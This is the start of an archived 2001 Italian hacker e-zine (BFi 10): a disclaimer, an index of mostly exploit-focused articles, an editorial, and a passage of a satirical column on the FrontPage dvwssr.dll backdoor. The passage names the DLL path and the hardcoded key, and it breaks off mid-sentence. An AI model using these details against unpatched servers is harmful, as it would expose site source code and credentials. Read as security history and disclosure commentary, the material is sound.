BFi-10/0042755000175000017500000000000007355705213011667 5ustar smastersmasterBFi-10/BFi10-010100644000175000017500000003641507355705202012633 0ustar smastersmaster============================================================================== ------------[ BFi numero 10, anno 4 - 30/09/2001 - file 1 di 18 ]------------- ============================================================================== -[ DiSCLAiMER ]--------------------------------------------------------------- Tutto il materiale contenuto in BFi ha fini eslusivamente informativi ed educativi. Gli autori di BFi non si riterranno in alcun modo responsabili per danni perpetrati a cose o persone causati dall'uso di codice, programmi, informazioni, tecniche contenuti all'interno della rivista. BFi e' libero e autonomo mezzo di espressione; come noi autori siamo liberi di scrivere BFi, tu sei libero di continuare a leggere oppure di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati e/o dal modo in cui lo sono, * interrompi immediatamente la lettura e cancella questi file dal tuo computer * . Proseguendo tu, lettore, ti assumi ogni genere di responsabilita` per l'uso che farai delle informazioni contenute in BFi. Si vieta il posting di BFi in newsgroup e la diffusione di *parti* della rivista: distribuite BFi nella sua forma integrale ed originale. ------------------------------------------------------------------------------ -[ iNDiCE ]------------------------------------------------------------------- ---[ iNTR0 BFi10-01 PALLE DA BASKET iNGi0iELLATE AUT0DRiBBLANTi smaster ---[ C0LUMNS BFi10-02 iL PR0BLEMA E LA S0LUZi0NE Raistlin BFi10-03 ACiDLiFE deletia && shalom BFi10-04 TRiBUT0 A SYSTEM D0WN: iL CAS0 MCKRAK InfectedMachine BFi10-05 THREADS vari BFi10-06 MAiLB0X Cavallo ---[ HACKiNG BFi10-07 N0N E` TUTT0 HEAP QUELL0 CHE N0N E` STACK Nail BFi10-08 TCP C0NGESTi0N C0NTR0L E DiNT0RNi vecna BFi10-09 ELE0N0RA v0.2 Tharkas BFi10-10 SPL0iTTARE GLi 0VERFL0W NELL'HEAP S0VRASCRiVEND0 |CyRaX| LE STRUCT BFi10-11 0TU: SiSTEMA EV0LUT0 Di MiTM vecna BFi10-12 iPv6 PACKET F0RGiNG Kundera BFi10-13 i0 FASTWEB E TU? naif BFi10-14 ALCATEL SPEED T0UCH: DEMYSTiFiED NeURo && NoXiouS ---[ REVERSiNG BFi10-15 0 KELViN syscalo ---[ ViRii BFi10-16 BATViRUS sKIZoidE BFi10-17 ANALiSi ViRUS PER LiNUX vecna ---[ MiSCELLANE0US BFi10-18 DNSJAM tHE rECIdjVO ------------------------------------------------------------------------------ -[ iNTR0 ]-------------------------------------------------------------------- ---[ 01 - PALLE DA BASKET iNGi0iELLATE AUT0DRiBBLANTI -----[ smaster y0. uh. strano. dopo una serie di asfittici editoriali ho di nuovo qualcosa da raccontarvi... BFi anno IV. BFi09 e` stata downloadata oltre 11.000 volte. ma... ed ora? dicembre... settembre... mmh sono.. un po' di mesi si`... alcuni dei 'vecchi' della 'redazione' sono stati presi dalla real life, altri si sono stancati di parlare di sicurezza, altri ancora hanno fatto cose piu` interessanti che scrivere un articolo per BFi! merda. questa rivista morira`. no. nonono. non credo, almeno. motivo: leggo la posta, faccio un giro su irc, mi aggiro nei corridoi della facolta` e... vedo ancora gente con idee interessanti attorno a me. nella proiezione italiana del cyberspazio ci sono tanti tipi con valide intuizioni e buone skills; sono molti piu` di quanti abbiano firmato gli articoli comparsi su questa rivista. e allora BFi vive e vivra`: tutti scrivono per BFi perche` producono cose interessanti che vogliono mettere a disposizione di tutti servendosi di questa zine e perche` sanno che senza i loro articoli BFi#11 non uscira` mai. ma... qualcosa non va allora... cazzo! perche` gli articoli che arrivano alla mbox della 'redazione' sono cosi` pochi? una spiegazione deve esserci. anzi c'e` senza dubbio piu` di un motivo a giustificazione di questa riluttanza a scrivere articoli per BFi... - pensiero numero uno - BFi e` un'idea partorita e curata da alcuni membri di s0ftpj. Alcuni credono che s0ftpj cerchi consenso, fama, autocelebrazione con BFi e che s0ftpj con BFi si erga a rappresentante della scena italiana. eheh vero! in qualche altra realta` pero`. in questa dici? credimi: balle. e` naturale che s0ftpj investa tempo e idee in BFi e ci tenga particolarmente. tuttavia s0ftpj non ha bisogno di questa rivista per diffondere le sue release. potrebbe limitarsi a scrivere dei bei papers in inglese o a curare maggiormente gli scarni README dei nuovi tools. ma non lo fa perche` e` un gruppo di italiani che vogliono lavorare in primis per altri italiani. quello che facciamo e` destinato in particolare a te, non al kangoo security analyst australiano. punto. Altri hanno avuto brutte esperienze con membri di s0ftpj. non aspettarti le scuse di nessuno qui! ma questo cosa significa? non leggevi PHRACK perche` route ti stava sulle scatole (se la risposta e` si` mi hai appena strappato un sorriso a 72 denti)? snobbi le teorie di Terence Mc Kenna perche` da piccolo odiavi le storie con quei cazzo di elfi irlandesi?!?!? ok. se secondo te quel che ho appena detto e` merda, amen. in ogni caso una cosa deve esserti chiara. leggi con attenzione: BFI NON E` S0FTPJ. rileggi. ancora, una volta. grazie. BFi non e` s0ftpj perche` BFi sei tu. Tutti possono scrivere per questa zine, l'abbiamo ripetuto tante volte a partire dal numero uno, tuttavia quasi tutti ancora non l'hanno capito. ora vedi di ricordartelo =;) - pensiero numero due - La 'redazione' di BFi e` stronza, indisponente, latitante. Su questo hai ragione. hai ragione al 90% circa, diciamo. I contatti con gli autori degli articoli fino al numero scorso avrei dovuto tenerli io. io ho segato via dal numero il tuo articolo (parlo per esempio a te, quequero) perche` ormai non piu` inedito e sono sempre stato io quello che NON ti ha mailato per spiegartene il motivo. sono ancora io colui che NON ti ha ringraziato del tuo prezioso contributo. il tuo 10% di torto e` solo dovuto al fatto che in questo numero 10 vecna e raistlin hanno curato particolarmente i rapporti con i subscribers e le cose sono funzionate un po' meglio. solo grazie a loro, comunque :) - pensiero numero tre - BFi e` full-disclosure. dal momento in cui, intorno al mese di gennaio 2001, i ragazzi di security.is, ADM e low-level hanno diffuso attraverso il sito http://anti.security.is le loro idee a proposito dei concetti di full-disclosure, least-disclosure e non-disclosure nel cyberspace italiano come in tutta la rete si e` verificato un netto incremento dell'attenzione riguardo questi argomenti. e il dibattito e` senz'altro interessante. con tutta sincerita` vi dico: non so collocare BFi in una di queste tre categorie. e` un casino. anche per chi prova a definire questi concetti e per quelli di AntiSec, che innanzitutto apprezzo per l'aver dato uno strattone alla scena facendo ragionare un po' tutti riguardo il significato della parola 'sicurezza' e determinando importanti 'schieramenti'. se partiamo dal presupposto che BFi non e` rappresentante di nulla al di fuori di chi scrive i suoi articoli allora e` intuitivo affermare che BFi sia non\least\full-disclosure a seconda dell'impronta data dagli autori. nelle persone che compongono la 'redazione' di questo numero stesso si rispecchia gia` tutta la rosa di posizioni a riguardo. se non aderisci ad antisec allora manda il tuo inedito exploit e sara` pubblicato. se aderisci ad antisec d'altra parte non significa che non puoi pubblicare un articolo; alcuni membri di low-level hanno rilasciato questi lavori dopo aver fondato il movimento: http://www.securityfocus.com/templates/archive.pike?threads=0&list=1&fromthread=0&mid=161767&end=2001-02-12&start=2001-02-06& http://www.securityfocus.com/templates/archive.pike?threads=0&list=1&mid=164293&fromthread=0&end=2001-02-26&start=2001-02-20& http://www.sikurezza.org/ml/06_01/msg00059.html ...questi sono esempi di come si possa parlare di tematiche security-oriented con un approccio conforme alle linee di AntiSec. in ogni caso quindi puoi scrivere per BFi: trasmetterai la tua idea di sicurezza senza bisogno di professare una fede, il tuo solo lavoro sara` il disco volante su cui le tue idee viaggeranno. - pensiero numero quattro - BFi non e` politicamente impegnata. vero. dal febbraio 1998 fino a questo caldo agosto 2001 BFi non ha mai presentato articoli di contenuto politico. politico politico intendo. difficile dire di che colore sia questa rivista. rossa? nera? boh. avete presente una di quelle magliette hippie... tipo quella che indossa Tim Leary nell'immagine che lo ritrae nella sua home... BFi e` quella t-shirt: in essa tutti i colori trovano spazio. il risultato e` che questa zine trasuda idee diverse, non si schiera e non si fissa su una linea unica. per questo ad esempio non leggerete nulla sugli eventi legati ai no-global qui, lo fanno gia` tutti i media whore. questa e` una rivista tecnica; se si parla di societa` e politica questo avviene solo perche` in un caso particolare il tema trattato e` indissolubilmente legato ad esse. crociate on-line anti pedofilia, brevetti software, echelon, risvolti legali dell'hacking o del phreaking: ok. ma niente di desyncato dal cyberspace. purtroppo questa linea editoriale non piace a certi ambienti dell'underground informatico in italia. alcuni tra i personaggi e i gruppi piu` attivi, organizzati ed interessanti (StranoNetwork, Isole nella Rete, Tactical Media Crew, Netstrike..., i frequentatori di irc chan quali #q*** e #k****** e vari hacklab) sembrano manifestare una certa reticenza a considerare mezzi quali BFi per comunicare alla comunita`. nella lista degli events della quarta edizione dell'HackMeeting (http://www.hackmeeting.org/contributi.html) si leggono un sacco di belle iniziative, peccato che di hacktech non ci sia pressoche` nulla. mmh. incredibile, ma tristemente vero. mentre il tratto caratterizzante delle piu` importanti hacker convention europee (CCCamp, HIP, HAL) sia stata una predominante attenzione all'hacking, inteso come definito nel jargon, l'italia pare valorizzare soprattutto il suo connotato politico. qualche 'malizioso' ha persino ipotizzato che la scelta stessa del CSA Auro di Catania come sede dell'hackmeeting2001 sia stata fatta per consolidare l'importanza del Centro agli occhi della giunta comunale, da mesi minacciante lo sgombero degli edifici ospitanti il freaknet medialab. ed e` un peccato che un evento rivelatosi poi estremamente interessante come quello di quest'anno sia inquinato da queste voci. quando ho iniziato ad avvicinarmi all'hacking la cosa che piu` mi e` sembrata distinguere gli hackers dalle altre persone e` stata la capacita` di ragionare con la PROPRIA TESTA e... beh.. ovviamente di farlo piu` velocemente e meglio di molti altri... non accuso nessuno. prendetelo come uno sfogo personale, anche se so che altri condividono almeno parte di quello che ho detto in queste ultime righe. non accuso nessuno ho detto. ma incito almeno qualcuno di quelli nominati in precedenza a riflettere un po' su quel che fanno, in particolare sulla possibilita` di traslare parte del proprio impegno e risorse dalla politica e dall'hacktivism alla pura ricerca tecnica. -- ok. ti ho annoiato, scusami. e` capitato anche a me leggendo ad esempio questa mail inviata alla mailing list di sikurezza.org il 5 ottobre 2000: - snip - Ho pensato una cosa originalissima: perche' non fare una rivista sull'hacking :) Ok, scherzo, ma forse qualche punto di originalita' lo possiamo trovare. Avevo in mente questo: o rivista in lingua inglese o un nucleo di controllo, ma assolutamente aperta a qualsiasi contributo che rispetta alcuni standard di qualita'. o articoli brevi, pensati per chi fa questa cosa per hobby. Non trattati dunque, ma idee o piccole parti di codice o quasi solo ed esclusivamente risorse di links interessanti su un argomento un po' commentate. o contenuti appartenenti alla cultura hacker, non nel senso mediatico del termine, ma in quello ampio. Ovvero un numero potrebbe contenere un articolo su corba, uno sui format string attacks, uno sulla storia di unix. o sistema democratico di voto segreto a cui partecipano tutti coloro che lo desiderano ma che hanno contribuito con un articolo da meno di X numeri per la decisione sugli articolo da includere/escludere. o Qualche rubrica fissa. o look serio, niente cornicette e menate varie o intestazioni epiche. o scadenza rispettata, qualunque essa sia (i.e. anche ogni 4 mesi ma che esca alla giusta data). o formato ASCII, tar.gz che si scompatta in modo che utilizzando tar xvzf numero-X.tar.gz sempre nella stessa directory alla fine si crea una struttura ordinata ed un indice globale che si aggiorna ad ogni numero. Osservazioni? Adesioni? In caso affermativo: idee per il nome? - snip - mh.. annoiato forse non e` il termine piu` adatto per inquadrare la mia sensazione durante la lettura... sconforto... incredulita`... boh. provo spesso quei sentimenti: ogni qual volta vedo che qualcuno, a causa di idee che si avvicinano ai "quattro pensieri" esposti prima, decide di tirare un muro d'innanzi all'opportunita` di collaborare ad una zine come BFi (cioe` con un numero di lettori gia` cospicuo ed in ulteriore crescita, ma che ha anche tempi di uscita sempre piu` dilatati a causa della carenza di contributi), per provare a dar vita a un progetto pressoche` identico, ma con firme diverse. progetto che, purtroppo, immancabilmente fino ad ora non si e` mai concretizzato. buona lettura piccolo punto veloce. pace. smaster_ "E` meglio cancellare tutta la storia personale perche` cio` ci libererebbe dall'ostacolo dei pensieri altrui." C. Castaneda ------------------------------------------------------------------------------ -[ REDAZi0NE ]---------------------------------------------------------------- Cavallo -|CyRaX| - [deletia] - Kundera - InfectedMachine - naif - Nail - NeURo - NoXiouS - ORK - Raistlin - shalom - sKIZoidE - syscalo - Tharkas - tHE rECIdjVO - |TsUnAmI| - vecna - yawn -[ WEB ]---------------------------------------------------------------------- http://www.bfi.cx http://www.s0ftpj.org/bfi/ http://bfi.itapac.net -[ E-MAiL ]------------------------------------------------------------------- bfi@s0ftpj.org -[ PGP ]---------------------------------------------------------------------- -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i mQENAzZsSu8AAAEIAM5FrActPz32W1AbxJ/LDG7bB371rhB1aG7/AzDEkXH67nni DrMRyP+0u4tCTGizOGof0s/YDm2hH4jh+aGO9djJBzIEU8p1dvY677uw6oVCM374 nkjbyDjvBeuJVooKo+J6yGZuUq7jVgBKsR0uklfe5/0TUXsVva9b1pBfxqynK5OO lQGJuq7g79jTSTqsa0mbFFxAlFq5GZmL+fnZdjWGI0c2pZrz+Tdj2+Ic3dl9dWax iuy9Bp4Bq+H0mpCmnvwTMVdS2c+99s9unfnbzGvO6KqiwZzIWU9pQeK+v7W6vPa3 TbGHwwH4iaAWQH0mm7v+KdpMzqUPucgvfugfx+kABRO0FUJmSTk4IDxiZmk5OEB1 c2EubmV0PokBFQMFEDZsSu+5yC9+6B/H6QEBb6EIAMRP40T7m4Y1arNkj5enWC/b a6M4oog42xr9UHOd8X2cOBBNB8qTe+dhBIhPX0fDJnnCr0WuEQ+eiw0YHJKyk5ql GB/UkRH/hR4IpA0alUUjEYjTqL5HZmW9phMA9xiTAqoNhmXaIh7MVaYmcxhXwoOo WYOaYoklxxA5qZxOwIXRxlmaN48SKsQuPrSrHwTdKxd+qB7QDU83h8nQ7dB4MAse gDvMUdspekxAX8XBikXLvVuT0ai4xd8o8owWNR5fQAsNkbrdjOUWrOs0dbFx2K9J l3XqeKl3XEgLvVG8JyhloKl65h9rUyw6Ek5hvb5ROuyS/lAGGWvxv2YJrN8ABLo= =o7CG -----END PGP PUBLIC KEY BLOCK----- ============================================================================== ---------------------------------[ EOF 1/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-020100644000175000017500000017213307355704712012637 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 20/09/2001 - file 2 di 18 ]-------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ iL PR0BLEMA E LA S0LUZi0NE -----[ Raistlin IL PROBLEMA E LA SOLUZIONE Una tragica storia di Boria, Sicurezza, Orgoglio e Pregiudizio. ------------------------------------------------------------------------------ di Raistlin PROLOGO: Quanto segue si basa sull'advisory di sicurezza UMBRA Advisory RFP2K02; i contenuti tecnici di questo articolo, per quanto cammuffati e relativamente secondari rispetto al suo vero significato, sono validi e non assolutamente inventati (anche se a volte stupefacenti per la loro stupidita`). Non lasciatevi stupire dalla forma e cercate di capire la critica fondamentale a un modo di agire e di essere che si va diffondendo come una piaga all'interno delle grandi societa` di software. Sorridete e ridete dove e` il caso... ma come molte commedie, anche questa si porta dentro una morale che non vorrei sottovalutaste. AVVERTENZA: Fatti e persone qui rappresentati sono puramente reali. Non sperate che quello che ho scritto sia solo una barzelletta. E` la tragica dimostrazione che la realta` supera anche la peggiore delle fantasie. PERSONAGGI ED INTERPRETI: I crediti per l'exploiting di questa curiosa backdoor vanno tutti ai due mitici Alf Serer ( alf@at.clientlogic.com ) e Rain Forest Puppy ( rfp@wiretrip.net ). Vorrei approfittare per ringraziare quest'ultimo per la sua amicizia e disponibilita`. Sempre nel ruolo degli intrepidi cercatori di perle, Gerardo e Ivan Arce ( iarce@core-sdi.com ) della CORE (scopritori del SECONDO bug, come vedremo). Tra gli interpreti (involontari) della commedia che andremo a mettere in scena, vi sono anche numerosi man-in-black del Microsoft Security Team. Li chiameremo tutti Smith, in onore a uno dei piu` grandi film della storia (se non beccate la citazione potete anche iniziare a frustarvi). Tanto non hanno una identita`, avvolti nel blobboso nulla della casella anonima "secure@microsoft.com". La figura dell'imbecille la fa, dando prova di sapersi calare perfettamente nella parte, il signor Russ Cooper, gestore di NTBugTraq. Infine, in tutte le commedie si ringraziano le persone che non sono comparse sul palco, ma senza il cui contributo, aiuto e incoraggiamento l'opera non si sarebbe potuta scrivere. Non faccio eccezione. Un ringraziamento a tutti i fratelli dell'Orda delle Badlands e di S0ftpj. Grazie di esistere cosi` come siete (cioe`, bastardi dentro ;) ------------------------------------------------------------------------------ ATTO PRIMO - L'INIZIO DELLE OSTILITA` (qualcuno direbbe "let mortal kombat begin, ma io sono piu` serio - ciauz pho :) SCENA I - L'INCRESCIOSO ANTEFATTO Accadde un di` in quel di Redmond che l'agente Smith, sorridendo, osasse deridere uno dei frequentatori di Bugtraq (la pericolosa lista di sovversivi che osava mettere in cattiva luce il Software di Casa Microsoft); si trattava del povero signor Cuartango, che aveva individuato una vera e propria backdoor nell'autenticazione dei pacchetti di installazione Microsoft. Riassumendo concisamente la questione, Cuartango aveva fatto notare quanto fosse inquietante il fatto che, visitando il sito Microsoft, alcuni controlli venissero installati automaticamente senza chiedere l'autorizzazione dell'utente, in forza di "chiavi" privilegiate di autenticazione della stessa Microsoft. Ora, chiunque si rende conto che questo corrisponde ne` piu` ne` meno che a una backdoor. Fatto sta che l'Agente Smith, ritenendosi blandamente offeso dal sospetto (una BACKDOOR? Ma quelle sono cose da hacker! Loro - secure@microsoft.com - sono i BUONI!) ebbe l'ardire di scrivere (io me lo immagino con un sorrisino accennato sulle labbra) che l'accettazione automatica dell'installazione era stata creata: "to improve our customers' experience while downloading software from Microsoft web sites." "per migliorare l'esperienza dei nostri clienti durante il download di software dai siti Microsoft" Inoltre, imprudentemente, aggiunse, a ulteriore derisione: "...we love a good conspiracy theory as much as the next person..." "...sappiamo apprezzare come chiunque altro una buona teoria di cospirazione..." Sottintendendo con questo che fosse assolutamente ridicolo pensare che una societa` che domina il 75% del mercato dei sistemi operativi potesse, colpevolmente, inserire delle "backdoor" nei propri applicativi per cercare di "dominare il mondo". In effetti e` ridicolo: Microsoft riesce perfettamente a dominare il mondo anche senza l'uso di backdoor... "Cos'e` Microsoft?" "Microsoft e` ovunque, e` intorno a noi, anche adesso, nella stanza in cui siamo. E` quello che vedi quando ti affacci alla finestra, quando accendi il televisore. Lo avverti quando vai al lavoro, quando vai in chiesa, quando paghi le tasse. E` il mondo che ti e` stato messo davanti agli occhi per nasconderti la verita`" "Quale verita`?" "Che tu sei uno schiavo, Neo. Come tutti gli altri sei nato in catene, sei nato in una prigione senza sbarre, che non ha mura, che non ha odore. Una prigione per la tua mente" Ok, ok, mi sono lasciato trasportare... (e` inquietante pero` che questa frase si adatti cosi` bene alla realta`... e` molto inquietante...). Ma torniamo all'agente Smith e alla sua spensierata risposta. Alla sua benevola presa in giro di chi IPOTIZZAVA simili comportamenti SLEALI da parte di una Rinomata Rispettabile Societa' di Software come Microsoft... torniamo alla solita idea, che questi agenti del Buonismo di Mamma Software House pensano di poter spandere impunemente attorno. L'idea per cui e' solo una certa invidia, un odio preconcetto e congenito, a muovere coloro che fanno critiche *mode LADY INGLESE INDIGNATA ON* cosi` INGIUSTE E IRRESPONSABILI! Cielo! *mode LADY INGLESE INDIGNATA OFF* SCENA II - IL PECCATO... Come si sa, orgoglio e menzogna sono peccati capitali. E per una volta la punizione non si e` fatta attendere... ... E LA PUNIZIONE Di fronte a tanta dignita` ferita, infatti, nessuno si e` lasciato impietosire. Ed ecco che come una mazzata sulle gengive e` uscito l'advisory di sicurezza di cui vi voglio parlare, ovvero: "Netscape engineers are weenies!" "Gli ingegneri Netscape sono dei cagasotto!" Dopo averci fatto sgranare gli occhi con questo titolo quantomeno INSOLITO, Rain Forest Puppy (per coloro che non lo conoscessero, e` uno dei piu` attivi contributors di BugTraq, e non e` nuovo a scoperte esplosive come questa...) ci chiarifica per bene la portata del problema di sicurezza: "A back door in Microsoft FrontPage extensions/authoring components" Che mi sembra una frase del tutto esplicativa, anche se lascia qualche difficolta` a comprendere cosa c'entri il titolo... Il problema di sicurezza rilevato da RFP e` abbastanza semplice, e al contempo abbastanza scioccante [qui ed altrove, sono mie le traduzioni dai post originali, il piu` fedelmente possibile]: << con l'option pack di NT4 viene distribuita una ISAPI .dll particolare nella directory /_vti_bin/_vti_aut/, denominata dvwssr.dll [...] Questa particolare .dll consente di leggere i file .asp (e .asa) nella root web, posto di conoscere la 'password' (codificata solo per offuscamento) da utilizzare. E, come implica il titolo di questo advisory, la chiave costante usata nella codifica e` "Netscape engineers are weenies!".>> Ora. Vi siete mai trovati nella condizione di chiedere a qualcuno quale fosse la sua password e osservare il suo imbarazzo mentre vi rispondeva qualcosa come "c*zzo123" o altre scempiaggini simili, e si vergognava profondamente della sua stupidita` nello scegliere le proprie chiavi d'accesso? Ecco, provate a immaginarvi la faccia di Smith mentre leggeva una advisory di sicurezza (e vabbe`) riguardante NT (ce ne sono tre al giorno), in particolare IIS (due al giorno), in cui e` stata scoperta una backdoor INTENZIONALE (e gia` la situazione si fa piu` tesa), la cui password chiama gli ingegneri della concorrenza "cagasotto", rivelando solo una duplice, stupida boria, ovvero quella di insultare dei colleghi e di farlo con la sicurezza di non essere mai colti in flagrante. C'e` di che rovinare la giornata anche al nostro impassibile Agente Smith. RFP riesce a mantenersi serio ancora per qualche istante, il tempo di dare tutti i limiti della backdoor trovata: infatti <>. Vi prego di fare attenzione a questo particolare, che nel seguito della nostra tragicommedia avra` molta importanza... In questo post i limiti e i privilegi della backdoor sono _perfettamente chiari_ ed enunciati in modo molto professionale, anche se il quadro della situazione e` abbastanza comico. Insomma, in qualche modo, l'efficacia "effettiva" di questa backdoor e` alquanto limitata. Lo stesso RFP lo ammette; ma come potete capire, il piu` grave danno proviene non tanto dalla effettiva utilizzabilita` della backdoor quanto dalla sua chiave di crittazione. Trattenendosi a stento dallo scoppiare a ridere apertamente in faccia a Smith, RFP commenta sarcastico (riferendosi alla compita letterina dello stesso): << lasciatemi dunque descrivere come Microsoft abbia anche incluso una ISAPI .dll come parte del pacchetto di estensioni FrontPage, dell'option pack e di Visual InterDev, "per migliorare l'esperienza di UN HACKER durante il download di software dal VOSTRO sito." >> SKLANK! (colpo di mazza chiodata che piove sulla testa di Smith - ma tranquilli, questi signori sono fatti di pongo come un cartone animato e possono sopportare questo ed altro, probabilmente continuando a sorridere). SCENA III - QUALCHE DETTAGLIO TECNICO Con un certo divertimento malcelato, RFP completa l'advisory descrivendo come sia stata rinvenuta la famigerata stringa "Netscape engineers are weenies!" (niente di complicato... era addirittura contenuta IN CHIARO all'interno del file, anche se inserita all'indietro...). Incuriosito da questa scoperta (fatta da Alf Serer), il nostro eroe si e` messo a cercare DOVE quella .dll fosse richiesta da FP o dalle extensions. Un'occhiata al sito Microsoft (esplicativo, chiaro e completo come al solito) rivelava solo un generico "la DLL e` usata per verificare gli URL". Strano che a fronte di questo essa non venisse MAI invocata (anche se viene esplicitamente richiesta da InterDev 1.0). Altro piccolo particolare sospetto della DLL medesima: dove tutte le altre ISAPI .dll delle FrontPage extensions sono alla versione 3.0.2.1105, dvwssr.dll e` ferma al 1.00.00.2503A. Il che offre solo due possibilita`, entrambe sconcertanti: a) Microsoft ha introdotto solo di recente in Front Page tale .dll, oppure b) Essa e` un residuo dei giorni in cui FP veniva sviluppato dalla Vemeer Technologies Inc. (... se vi eravate chiesti, come il sottoscritto, il perche` del prefisso _vti_ eccovi la spiegazione...) Nel caso a) la responsabilita` di Microsoft e` evidente. Nel caso b), e` inquietante che dopo l'acquisizione di un prodotto esso non venga auditato, o quanto meno verificato. In ogni caso il punto e` che Microsoft ha codato, o consentito, l'inserimento di una .dll con una key statica tanto imbecille quanto quella citata. Per coloro che fossero interessati ai dettagli tecnici, l'algoritmo di encripting simpaticamente ribattezzato "weenie" e` un algoritmo a slittamento di carattere a 62 posizioni (non includo il codice perl, che puo` essere comodamente reperito sul sito di SecurityFocus - anche se questo codice avra` un'importanza non secondaria nel resto di questa vera e propria telenovela della sicurezza informatica). Sappiate anche che la versione Unix delle FP Extensions (AHAHAHAHAHAHAHAH, ma ci sara` qualcuno che la usa?) non include tale codice, e che se non usate InterDev 1.0 potete comodamente cancellare la .dll per sicurezza. CORO DELL'ATTO PRIMO Canta le sagge parole del mai abbastanza lodato RFP: Regardless if Netscape engineers are weenies, Microsoft engineers are definately pompous [ Che gli ingegneri di Netscape siano dei cagasotto o no, ] [ e` invece certo che gli ingegneri di Microsoft siano parecchio pomposi ] ------------------------------------------------------------------------------ ATTO SECONDO - OVVERO, SI TENTA L'INSABBIAMENTO SCENA I - PANICO! Siete nei panni del nostro agente Smith, e vi siete doverosamente presi la palata sui denti. A mezzogiorno avete saltato il pranzo mentre cercavate di capire chi avesse combinato questo casino enorme (io penso che chi ha inserito quel codice non lavori piu` per Microsoft... o che sia stato trasferito nella stessa filiale del tecnico che attacco` il famoso scanner USB durante la presentazione di Windows 98...) Ora, il punto dolente e`: che dichiarazione ufficiale rilasciare? Non si puo` non commentare una cosa del genere... e del resto e` ovvio che anche dietro la blobbosa anonimita` della casella secure@microsoft.com non ci si puo` difendere dalle risate del mondo intero... Pertanto ecco che esce il compito post della Microsoft (scritto da uno Smith in lacrime che si frusta col suo cilicio): Advisory MS00-025, 14 Aprile: << Issue ===== Dvwssr.dll is a server-side component used to support the Link View feature in Visual Interdev 1.0. By design, it provides .asp files to clients who have web authoring privileges on the server. However, it does not properly restrict the files that a web author can request, with the result that a user who has web authoring privileges on one web site could request .asp files from anywhere on the server, including other web sites hosted on it. However, even with this vulnerability, the component would only comply with the request if the specific file granted read access to the user. >> I lettori anglofobi (poi mi spiegate come fate ad occuparvi di informatica senza parlare inglese, eh...) mi scuseranno se mi risparmio di tradurre e mi limito a commentare... Microsoft non fa altro che riconoscere il danno, anche se evita accuratamente lo spinoso argomento di chi sia un cagasotto e chi no... Tra l'altro hanno anche il coraggio di cercare qualche scusa... << There are some significant restrictions to this vulnerability: - Only servers hosting multiple web sites could be affected by it >> (nel senso che sugli altri server l'author non avrebbe nessun vantaggio a usare la backdoor...) << - Only a user who has web authoring privileges for a site on the server could request a file. He would need to know the name and location of the file on the server. >> (si`, mi pare che questo l'avessimo gia` detto... inoltre la seconda condizione e` abbastanza idiota... se uno ha accesso web author E accesso in lettura a tali file...) << - The files would only be sent if their permissions granted read access to the particular user who requested them. In most cases, this would mean that the files granted read access to the Everyone group >> (Non mi pare poi COSI' INCREDIBILE come condizione... specie considerando il livello medio di sicurezza dei server web NT...) << - Only .asp files (and global.asa, which is a special-case .asp file) could be retrieved. >> E stikazzi! Nei file .asp ci puo` essere anche del sorgente di un certo valore (di solito un programmatore ASP non viene pagato poco per creare i meccanismi di gestione di un sito... figuriamoci se mi va di mettere quei sorgenti a disposizione della concorrenza...) e sopratutto visto che ASP accede ai database, possono esserci (in chiaro) delle password di accesso. Ma stiamo scherzando? SCENA II - I MEDIA Affamati di notizie riguardanti gli "acher", molti giornalisti si sono tuffati a pesce su questa notizia, capendone ovviamente circa un decimo (e sono buono...), e con ogni trasmissione televisiva questo bug e` cresciuto di importanza: "un piccolo bug.." "un rilevante problema" "il disastro totale per i siti di e-commerce" "attenzione: vi potrebbero rubare la carta di credito" (perche` tanto poi finiscono sempre per parare li`... pare che credano che i black-hats non abbiano obiettivi piu` goduriosi di queste stramaledette carte di credito... mah...) Fatto sta che, anche grazie alle esagerazioni dei media, i nostri cari agenti Smith si trovano, finalmente, nella condizione di poter dire "no, beh, e` meno grave di quel che pensassimo" (avete mai notato quanto sia producente questa strategia? Far si` che gli altri ingigantiscano i vostri errori, fino a quando li sopravvalutano tanto da passare dalla parte del torto... impariamola, questa lezione!). Ed e` cosi` che il signor Russ Cooper, gestore di NTBugTraq e stimato esperto delle problematiche di sicurezza di NT, riesce a dichiarare, nello stesso maledetto 14 aprile, che: "Le ultime notizie sono che non vi e` alcuna vulnerabilita` in DVWSSR.DLL". Sostanzialmente sostenendo che la stringa (visibile a chiunque: basta disassemblare la .dll) non esiste. Lascio a commento le parole di Yarmond su Slashdot: "Don't try to fix the bug, for that is impossible. You must realize the truth: there is no bug." Ogni riferimento al solito film che pare caratterizzare tutta questa storia e` puramente secondario. Sempre Russ Cooper riesce, nello stesso post, a darci una commovente descrizione degli uomini di Microsoft che "si sono messi al lavoro su questo come pazzi, cercando di verificare il problema ed analizzando tutti i possibili pezzi di codice che potessero essere affetti." Non e` commovente questa storia con gli omini di Microsoft sudati e impaludati in mezzo a mucchi di righe di codice, cercando disperatamente questa backdoor cosi` ben nascosta da ESSERE VISIBILE DALL'ESTERNO A QUALCUNO PRIVO DEL CODICE SORGENTE? Davvero, a volte uno si chiede se SONO fessi, oppure se si credono tanto furbi e ci credono tanto idioti da permettersi di sparare impunemente cazzate simili. Ad ogni modo, Cooper conclude con un rimprovero: "Se gli (agli omini di microsoft, NdT) fosse stato dato un ragionevole quantitativo di tempo per rispondere nessuno si sarebbe preoccupato di nulla (i.e. la stampa non si sarebbe preoccupata di questa storia)." E cavolo! Pensateci, prima di rendere pubbliche le vostre osservazioni! Comunicatecelo in privato: "Cara Microsoft, guarda che abbiamo trovato la BackDoor che hai piazzato in questa .dll: rimuovila, eh! Ora va', e non peccare piu`!": in questo modo potremo patchare il tutto in silenzio, magari senza neanche specificare chiaramente la CAUSA del problema. Sarebbe uscito soltanto il compito post in cui si parla di "vulnerabilita`" e "inappropriata restrizione d'accesso", e ci saremmo evitati la figura di merda di aver chiamato i nostri diretti concorrenti "cagasotto". Ma per favore! SCENA III - IL COLPO DI SCENA (o "L'Incredibile Faccia di Bronzo di Cooper") Mentre Microsoft esibiva la sua dignita` ferita da queste ingiuste illazioni della stampa, facendo si` che qualcuno arrivasse a escludere QUALSIASI problema nella .dll in questione, il signor Gerardo (di CORE), con un po' di voglia di curiosare (quella che a noialtri non manca mai, vero?) ha dato un'occhiata piu` approfondita a questo gioiellino di casa Microsoft. E... sorpreeeeeeeeesa! "C'era la backdoor!" diranno tutti i miei quarantatre` lettori. No cari, avete 